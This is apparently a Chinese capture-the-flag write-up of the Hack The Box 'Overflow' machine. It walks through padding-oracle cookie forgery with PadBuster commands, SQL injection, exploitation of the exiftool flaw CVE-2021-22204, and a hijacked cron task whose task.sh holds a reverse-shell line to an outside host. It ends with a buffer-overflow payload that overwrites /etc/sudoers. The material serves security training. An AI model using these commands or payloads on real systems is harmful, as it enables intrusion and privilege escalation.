『靶场』Hackthebox-Overflow 靶机

admin 2022年6月17日19:07:12评论16 views字数 15321阅读51分4秒阅读模式

 点击蓝字 关注我们 


日期:2022-06-16
作者:herbmint
介绍:Hackthebox-Overflow 靶机实战。

0x00 前言

Overflow靶机为Linux机器,上线时间为2021年10月23日,难度等级hard,官方评分4.8,主机IP10.10.11.119

0x01 靶场环境信息

1.1 信息搜集

1)使用nmap进行端口扫描,开放端口有22、25、80

『靶场』Hackthebox-Overflow 靶机

2)使用dirb进行目录扫描,扫描到的目录有/assets、/config、/home

『靶场』Hackthebox-Overflow 靶机

1.2 漏洞探测

1)访问80端口,此端口搭建有Web页面,此页面存在登录和注册两个功能点。

『靶场』Hackthebox-Overflow 靶机

2)先对登录点尝试弱口令登录,无法登录成功。

『靶场』Hackthebox-Overflow 靶机

3)对注册点尝试注册账号登录。

『靶场』Hackthebox-Overflow 靶机

4)注册成功之后,自动跳转进入系统。

『靶场』Hackthebox-Overflow 靶机

进入此系统后发现可点击模块有ProfileBlog,但是都无法进行利用。

5)扫描一下/home后是否还有其他的可供利用的目录,发现一个logs.php路径。

『靶场』Hackthebox-Overflow 靶机

6)访问logs.php路径提示权限不足,据此可以判断可能存在更高权限用户。

『靶场』Hackthebox-Overflow 靶机

7)根据现在的已知信息,无法获取到可利用的信息,使用burp抓取登录后的数据包查看,发现登录成功后会生成一个auto会话的cookie

『靶场』Hackthebox-Overflow 靶机

8)尝试更改autocookie值,提示填充错误。由此可以判断此处可能使用了CBC加密,或许存在Padding Oracle漏洞。

『靶场』Hackthebox-Overflow 靶机

1.3 利用 Padding Oracle 漏洞

尝试使用自动化工具PadBuster来进行攻击。

1)使用PadBuster来解密cookie,成功解密出我们的用户名。

padbuster  http://10.10.11.119/home/index.php  IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM 8   -cookies auth=IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM -encoding 0
『靶场』Hackthebox-Overflow 靶机

2)现在我们来伪造admin用户来获取管理员账户的cookie,成功获取到管理员权限的cookie值。

padbuster  http://10.10.11.119/home/index.php  IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM 8 -cookies auth=IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM -encoding 0  -plaintext "user=Admin"

『靶场』Hackthebox-Overflow 靶机

3)将auto会话的cookie值更改为admin权限的cookie值。

『靶场』Hackthebox-Overflow 靶机

4)成功以管理员的身份登录到此系统,可以看到以管理员身份登录系统比普通用户登录系统多了Admin PanelLogs模块。

『靶场』Hackthebox-Overflow 靶机

5)点击管理面板查看,发现这是一个CMS Made Simple系统的登录页面,尝试使用刚才注册的账号密码登录,登录失败。

『靶场』Hackthebox-Overflow 靶机

6)查看Logs模块,这是一个未定义模块,无法进行利用。查看其他剩余模块,一样无法进行利用。

『靶场』Hackthebox-Overflow 靶机

7)当我们利用admin身份登录系统之后,会出现一个get请求信息,里面有一个路径信息和主机信息。

『靶场』Hackthebox-Overflow 靶机

8)访问此路径,发现其显示的信息为admin用户的最后登录信息。

『靶场』Hackthebox-Overflow 靶机

9)尝试构造单引号报错,页面不显示任何信息,抓包传输显示服务器错误,判断此处可能存在注入漏洞,使用sqlmap进行判断发现确实存在注入漏洞。

『靶场』Hackthebox-Overflow 靶机

1.4 利用注入漏洞

1)查询完毕当前数据库信息、表名、列名之后,将passwordusername的信息转储出来。

『靶场』Hackthebox-Overflow 靶机

2)获取到用户名和hash值,尝试对hash值进行解密,但是无法解密出此hash值,可能使用了我们不知道加密盐值。

3)通过搜索配置文档,发现此cms可以利用数据库查询重置密码。

update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'NEW_PASSWORD'))) where username = 'USER_NAME'

此命令表示hash值是通过连接cmd_siteprefs表中的sitemask值和更新的密码来获取到整个字符串的md5值。由此判断sitemask的值可能就是我们的加密盐值。

4)尝试将cmd_siteprefs表中的数据转储出来,查看sitemask值。

『靶场』Hackthebox-Overflow 靶机

5)获取到sitemark的值之后,继续使用hashcat来解密hash的值。这里我们只解密出了editor账户的密码alpha!@$%bravo

『靶场』Hackthebox-Overflow 靶机

6)登录此cms系统之后,对此系统的模块进行查看,在Extensions模块下的User Defined Tags有提及到另一台主机,并且提及到此台主机可以使用editor账户进行登录。

『靶场』Hackthebox-Overflow 靶机

1.5 利用 CVE-2021-22204 漏洞

1)将devbuild-job.overflow.htb主机添加到hosts文件中,并进行访问。

『靶场』Hackthebox-Overflow 靶机

2)使用editor账户进行登录此主机后,在Account模块下发现有一个上传简历的模块,可以上传文件,并且有提示需要上传tiff/jpeg/jpg格式的文件。

『靶场』Hackthebox-Overflow 靶机

3)上传一个图片格式的文件之后,提示上传成功,就没有其他内容了,尝试抓包,查看一下它上传图片之后的操作。

『靶场』Hackthebox-Overflow 靶机

发现提交完毕请求之后进行了一个302跳转,此页面信息显示使用了exiftool工具。

4)直接利用CVE-2021-22204漏洞,修改POC文件,生成可利用的jpg文件之后上传,并在本地开启监听,成功获取一个服务器权限的shell

『靶场』Hackthebox-Overflow 靶机

0x02 权限提升

2.1 提权用户权限

1)查看具有bash权限的用户,发现有roottester两个用户,并且在tester的用户目录下发现存在user.txt文件,但是我们无权访问。

『靶场』Hackthebox-Overflow 靶机

2)查看tester用户下的其他文件,访问都是提示权限不足。

『靶场』Hackthebox-Overflow 靶机

3)因为此网站为php网站,查看其默认的配置路径,发现数据库的配置文件,从中读取到了数据名和密码。

『靶场』Hackthebox-Overflow 靶机

4)尝试利用此账户密码登录数据库文件,但是查询到的数据库为空,利用su命令切换用户,利用密码登录之后,可以看到此账户的权限是network权限(也可以使用ssh来登录)。

『靶场』Hackthebox-Overflow 靶机

整理已知信息可得,系统存在两个具有bash权限的用户roottester,也存在一个具备network权限的用户developer,在此developer用户的权限下,查看之前服务器权限下具有tester权限的文件。

5)邮箱信息依旧无权读取,但是那个脚本文件可以被查看,这个脚本文件的大致内容是每分钟执行一次从http://taskmanage.overflow.htb主机下载task.sh脚本文件。

『靶场』Hackthebox-Overflow 靶机

6)我们将taskmanage.overflow.htb指向我们的本机,并且在我们的本机创建一个task.sh文件,task.sh文件内容如下;

/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.19/7777 0>&1

7)在本地开启监听,等到脚本执行之后便会在我们本地反弹回shell。可以看到我们成功获取到了tester用户权限的shell

『靶场』Hackthebox-Overflow 靶机

2.2 提权至 root 权限

1)利用linpeas脚本辅助提权,发现了一个是root权限且具有suid权限的二进制文件。

『靶场』Hackthebox-Overflow 靶机

2)切换到file_encrypt目录下,发现除了此二进制文件还有一个说明文档。

tester@overflow:~$ cd /opt/file_encryptcd /opt/file_encrypttester@overflow:/opt/file_encrypt$ ls -alls -altotal 24drwxr-x---+ 2 root root  4096 Sep 17  2021 .drwxr-xr-x  3 root root  4096 Sep 17  2021 ..-rwsr-xr-x  1 root root 11904 May 31  2021 file_encrypt-rw-r--r--  1 root root   399 May 30  2021 README.md

3)先尝试运行此二进制文件,发现需要PIN码才可以运行。

tester@overflow:/opt/file_encrypt$ ./file_encrypt./file_encryptThis is the code 1804289383. Enter the Pin: 
exit;exit;Wrong Pintester@overflow:/opt/file_encrypt$

4)查看一下file_encrypt里的README.md文件,里面提及到PIN码应该存储在邮箱中。

tester@overflow:/opt/file_encrypt$ cat README.mdcat README.mdOur couple of reports have been leaked to avoid this. We have created a tool to encrypt your reports. Please check the pin feature of this application and report any issue that you get as this application is still in development. We have modified the tool a little bit that you can only use the pin feature now. The encrypt function is there but you can't use it now.The PIN should be in your inboxtester@overflow:/opt/file_encrypt$ 

5)查看邮箱文件,未在里面看到什么有用信息,root用户的邮箱文件是没有权限进行访问的。

6)直接查看此二进制文件内容,显示乱码;查看一下此二进制文件的类型,为32位的文件。

tester@overflow:/opt/file_encrypt$ file file_encryptfile file_encryptfile_encrypt: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ae0f5750a8f1ac38945f813b5e34ddc166daf57, not strippedtester@overflow:/opt/file_encrypt$ 

2.2.1分析二进制文件

将此二进制文件导出到本机,并对其进行分析。

1)查看main()函数,发现其只对check_pin()函数进行了调用。

undefined4 main(void)
{ check_pin(); return 0;}

2)查看一下check_pin()函数。

void check_pin(void){  undefined local_2c [20];  int local_18;  long local_14;  int local_10;
local_10 = rand(); local_14 = random(); printf("This is the code %i. Enter the Pin: ",local_10); __isoc99_scanf(&DAT_00010d1d,&local_18); if (local_14 == local_18) { printf("name: "); __isoc99_scanf(&DAT_00010c63,local_2c); puts( "Thanks for checking. You can give your feedback for improvements at [email protected]" ); } else { puts("Wrong Pin"); } return;}

这段代码先是通过调用rand()来产生随机数code,然后生成一个Pin数据,将随机数标准输出后请求Pin,之后调用scanf,如果两个参数相匹配,继续读取name的值,并输出Thanks for checking. You can give your feedback for improvements at [email protected],如果参数不匹配,便会输出Pin码错误。

因为没有设置伪随机数种子,所以在调用rand()函数时,自动设置随机数种子为1,因此每次生成的随机数(1804289383)也都是相同的。

3)查看一下random()函数:

long random(void)
{ uint in_stack_00000004; uint local_c; int local_8;
local_c = 0x6b8b4567; for (local_8 = 0; local_8 < 10; local_8 = local_8 + 1) { local_c = local_c * 0x59 + 0x14; } return local_c ^ in_stack_00000004;}

这是创建Pin码的函数,我们可以通过此函数生成有效的Pin值。

4)由于in_stack_00000004 参数未被正确识别,我们可能需要重新定义此参数。

if (sym.getName().startsWith("in_stack_00000004")) {    possible =        "Too few stack parameters defined for this function. May need toredefine parameters.";}

5)查看local_10的汇编代码,其中包含rand()返回的代码,在调用random()之前被推送到堆栈。

00010ac7 89 45 f4 MOV dword ptr [EBP + local_10],EAX00010aca 83 ec 0c SUB ESP,0xc00010acd ff 75 f4 PUSH dword ptr [EBP + local_10]00010ad0 e8 48 fd CALL randomlong random(void)

6)由此我们可以假设in_stack_00000004中的值与之前的代码中的值(1804289383)相同,由rand()返回,并放入到local_10(),而且in_stack_00000004将相同的值赋给local_c。据此前提我们可以创建一个pin.c文件来获取一个Pin值,并在file_encrypt中验证我们的猜测。

pin.c文件:#include <stdio.h>
int main(void){ unsigned int code = 1804289383; unsigned int local_c = 0x6b8b4567; int local_8; for (local_8 = 0; local_8 < 10; local_8 = local_8 + 1) { local_c = local_c * 0x59 + 0x14; } printf("%dn", local_c ^ code);
return 0;}

7编译pin.c文件,并运行,获取到Pin值。

┌──(herbmint㉿root)-[~/桌面]└─$ vim pin.c          ┌──(herbmint㉿root)-[~/桌面]└─$ gcc -o pin pin.c                                                 ┌──(herbmint㉿root)-[~/桌面]└─$ ./pin-202976456

8)使用此Pin值去运行file_encrypt文件。

tester@overflow:/opt/file_encrypt$ ./file_encrypt./file_encryptThis is the code 1804289383. Enter the Pin: -202976456-202976456name: 123123Thanks for checking. You can give your feedback for improvements at [email protected]tester@overflow:/opt/file_encrypt$ 

根据check_pin()处的函数可知,在调用scanf()函数的时候没有对输入长度和保存名称处做任何检查,并且保存名称字符串的缓冲区有32个字符长度。这可能会导致scanf()函数容易出现基于堆栈的缓冲区溢出。

9输入44个长度的字符,发现提示分割错误。

tester@overflow:/opt/file_encrypt$ ./file_encrypt./file_encryptThis is the code 1804289383. Enter the Pin: -202976456-202976456name: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111Thanks for checking. You can give your feedback for improvements at [email protected]Segmentation fault (core dumped)tester@overflow:/opt/file_encrypt$ 

10)通过gdb来运行此二进制文件来验证EIP覆盖的偏移量。

tester@overflow:/opt/file_encrypt$ gdb file_encryptgdb file_encryptGNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1Copyright (C) 2018 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.  Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from file_encrypt...(no debugging symbols found)...done.(gdb) runrunStarting program: /opt/file_encrypt/file_encrypt This is the code 1804289383. Enter the Pin: -202976456-202976456name: 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111Thanks for checking. You can give your feedback for improvements at [email protected][Inferior 1 (process 39796) exited normally](gdb) runrunStarting program: /opt/file_encrypt/file_encrypt This is the code 1804289383. Enter the Pin: -202976456-202976456name: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111Thanks for checking. You can give your feedback for improvements at [email protected]
Program received signal SIGSEGV, Segmentation fault.0x56555b00 in check_pin ()(gdb) runrunThe program being debugged has been started already.Start it from the beginning? (y or n) yyStarting program: /opt/file_encrypt/file_encrypt This is the code 1804289383. Enter the Pin: -202976456-202976456name: 11111111111111111111111111111111111111111111aa11111111111111111111111111111111111111111111aaThanks for checking. You can give your feedback for improvements at [email protected]
Program received signal SIGSEGV, Segmentation fault.0x56006161 in ?? ()(gdb)

当不足44个字符的时候,程序正常退出,为44字符时显示分割故障,超过44个字符便会导致EIP被覆盖,这证明偏移量就是44个字符。

11)查看一下encrypt函数的调试信息。

(gdb) info function encryptinfo function encryptAll functions matching regular expression "encrypt":
Non-debugging symbols:0x5655585b encrypt0xf7f11240 key_encryptsession0xf7f11380 key_encryptsession_pk0xf7f13f70 xencrypt(gdb)

12)查看encrypt()函数。

void encrypt(char *__block,int __edflag)
{ int iVar1; int *piVar2; char *pcVar3; undefined4 local_98; undefined4 local_94; undefined4 local_90; undefined4 local_8c; undefined4 local_88; undefined4 local_84; undefined4 local_80; undefined4 local_7c; undefined4 local_78; undefined4 local_74; stat local_70; uint local_18; FILE *local_14; FILE *local_10;
local_84 = 0; local_80 = 0; local_7c = 0; local_78 = 0; local_74 = 0; local_98 = 0; local_94 = 0; local_90 = 0; local_8c = 0; local_88 = 0; printf("Enter Input File: "); __isoc99_scanf(&DAT_00010c63,&local_84); printf("Enter Encrypted File: "); __isoc99_scanf(&DAT_00010c63,&local_98); iVar1 = stat((char *)&local_84,&local_70); if (iVar1 < 0) { piVar2 = __errno_location(); pcVar3 = strerror(*piVar2); fprintf(stderr,"Failed to stat %s: %sn",&local_84,pcVar3); /* WARNING: Subroutine does not return */ exit(1); } if (local_70.st_uid == 0) { fprintf(stderr,"File %s is owned by rootn",&local_84); /* WARNING: Subroutine does not return */ exit(1); } sleep(3); local_10 = fopen((char *)&local_84,"rb"); if (local_10 == (FILE *)0x0) { piVar2 = __errno_location(); pcVar3 = strerror(*piVar2); fprintf((FILE *)"cannot open input file %s: %sn",(char *)&local_84,pcVar3); } else { local_14 = fopen((char *)&local_98,"wb"); if (local_14 == (FILE *)0x0) { piVar2 = __errno_location(); pcVar3 = strerror(*piVar2); fprintf((FILE *)"cannot open output file %s: %sn",(char *)&local_98,pcVar3); fclose(local_10); } else { while( true ) { local_18 = _IO_getc(local_10); if (local_18 == 0xffffffff) break; _IO_putc(local_18 ^ 0x9b,local_14); } fclose(local_10); fclose(local_14); } } return;}

对此函数分析可得,该程序可以将输入的文件加密后输出到新的位置,它通过读取文件并使用0x9b对其进行异或运算来实现的,这是一种对称操作。但是当输入的文件输入root用户的时候,程序会出现错误,输出文件为root用户时,不会出错。

因此我们可以在本地创建一个sudoers文件,在此文件中将tester用户的密码置空,然后运行程序对此文件加密获取加密文件,之后运行程序解密加密文件并将其覆盖系统的/etc/sudoers文件。

2.2.2权限提升

1)创建一个tester用户密码为空的sudoers文件。

tester@overflow:/opt/file_encrypt$ cd /tmpcd /tmptester@overflow:/tmp$ echo "tester ALL=(ALL) NOPASSWD:ALL" > /tmp/sudoersecho "tester ALL=(ALL) NOPASSWD:ALL" > /tmp/sudoers

2运行此二进制文件。

tester@overflow:/opt/file_encrypt$ ./file_encrypt  ./file_encryptThis is the code 1804289383. Enter the Pin: -202976456-202976456name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUVThanks for checking. You can give your feedback for improvements at [email protected]Enter Input File: /tmp/sudoers/tmp/sudoersEnter Encrypted File: /tmp/sudoencry/tmp/sudoencrySegmentation fault (core dumped)tester@overflow:/opt/file_encrypt$

3可以看到我们成功获取到加密文件sudoencry

tester@overflow:/tmp$ ls -alls -altotal 52drwxrwxrwt 11 root   root   4096 Apr 22 08:06 .drwxr-xr-x 25 root   root   4096 Jan 26 21:08 ..drwxrwxrwt  2 root   root   4096 Apr 22 07:45 .font-unixdrwxrwxrwt  2 root   root   4096 Apr 22 07:45 .ICE-unix-rw-rw-r--  1 root   tester   30 Apr 22 08:06 sudoencry-rw-rw-r--  1 tester tester   30 Apr 22 08:00 sudoersdrwx------  3 root   root   4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-apache2.service-Hk9qOddrwx------  3 root   root   4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-resolved.service-fPq7pIdrwx------  3 root   root   4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-timesyncd.service-ZUIBKIdrwxrwxrwt  2 root   root   4096 Apr 22 07:45 .Test-unixdrwx------  2 root   root   4096 Apr 22 07:46 vmware-root_658-2697598381drwxrwxrwt  2 root   root   4096 Apr 22 07:45 .X11-unixdrwxrwxrwt  2 root   root   4096 Apr 22 07:45 .XIM-unixtester@overflow:/tmp$

4因为加密文件属于root用户,所以我们将加密文件复制出来,复制到tester下。

tester@overflow:/tmp$ cp sudoencry  encrycp sudoencry  encrytester@overflow:/tmp$ ls -alls -altotal 56drwxrwxrwt 11 root   root   4096 Apr 22 08:17 .drwxr-xr-x 25 root   root   4096 Jan 26 21:08 ..-rw-rw-r--  1 tester tester   30 Apr 22 08:17 encrydrwxrwxrwt  2 root   root   4096 Apr 22 07:45 .font-unixdrwxrwxrwt  2 root   root   4096 Apr 22 07:45 .ICE-unix-rw-rw-r--  1 root   tester   30 Apr 22 08:06 sudoencry-rw-rw-r--  1 tester tester   30 Apr 22 08:00 sudoersdrwx------  3 root   root   4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-apache2.service-Hk9qOddrwx------  3 root   root   4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-resolved.service-fPq7pIdrwx------  3 root   root   4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-timesyncd.service-ZUIBKIdrwxrwxrwt  2 root   root   4096 Apr 22 07:45 .Test-unixdrwx------  2 root   root   4096 Apr 22 07:46 vmware-root_658-2697598381drwxrwxrwt  2 root   root   4096 Apr 22 07:45 .X11-unixdrwxrwxrwt  2 root   root   4096 Apr 22 07:45 .XIM-unix

5)解密此文件,使其覆盖/etc/sudoers文件。

tester@overflow:/tmp$ cd /opt/file_encryptcd /opt/file_encrypttester@overflow:/opt/file_encrypt$ ./file_encrypt./file_encryptThis is the code 1804289383. Enter the Pin: -202976456-202976456name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUVThanks for checking. You can give your feedback for improvements at [email protected]Enter Input File: /tmp/encry/tmp/encryEnter Encrypted File: /etc/sudoers/etc/sudoersSegmentation fault (core dumped)tester@overflow:/opt/file_encrypt$

6)成功获取到root权限。

tester@overflow:/opt/file_encrypt$ sudo -lsudo -lUser tester may run the following commands on overflow:    (ALL) NOPASSWD: ALLtester@overflow:/opt/file_encrypt$ sudo -isudo -iroot@overflow:~# ls -alls -altotal 44drwx------  6 root root 4096 Sep 30  2021 .drwxr-xr-x 25 root root 4096 Jan 26 21:08 ..lrwxrwxrwx  1 root root    9 Sep 27  2021 .bash_history -> /dev/null-rw-r--r--  1 root root 3151 May 28  2021 .bashrcdrwx------  3 root root 4096 May 25  2021 .cache-rwx------  1 root root  311 Sep 30  2021 clean_sql.shdrwx------  3 root root 4096 May 19  2021 .gnupg-rwxr-xr--  1 root root  201 May 26  2021 .hostsdrwxr-xr-x  3 root root 4096 Sep 28  2021 .locallrwxrwxrwx  1 root root    9 Sep 27  2021 .mysql_history -> /dev/null-rw-r--r--  1 root root  148 Aug 17  2015 .profile-rw-r-----  1 root root   33 Apr 22 07:46 root.txtdrwx------  2 root root 4096 Sep 30  2021 .sshroot@overflow:~# cat root.txtcat root.txtccae90530a9613297a9306b8266ee87aroot@overflow:~# 

0x03 总结

此靶机利用到了Padding Oracle attack来登录系统,并通过注入漏洞登录到CMS系统,在CMS系统中获取到新的主机信息,登录到新的主机之后利用exiftool漏洞获取到第一个服务器权限的shell,利用网站的默认配置路径获取到另一个服务器用户,通过运行可登录用户主机的脚本文件,来获取到用户主机的权限,最后通过缓冲区溢出来获取到最终的root权限。

参考链接

https://pentesterlab.com/exercises/padding_oracle/course

https://www.jianshu.com/p/833582b2f560

https://cmscanbesimple.org/blog/cms-made-simple-admin-password-recovery

https://github.com/convisolabs/CVE-2021-22204-exiftool


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『靶场』Hackthebox-Overflow 靶机

宸极实验室

Cyber Security Lab

『靶场』Hackthebox-Overflow 靶机

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『靶场』Hackthebox-Overflow 靶机

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月17日19:07:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『靶场』Hackthebox-Overflow 靶机http://cn-sec.com/archives/1121799.html

发表评论

匿名网友 填写信息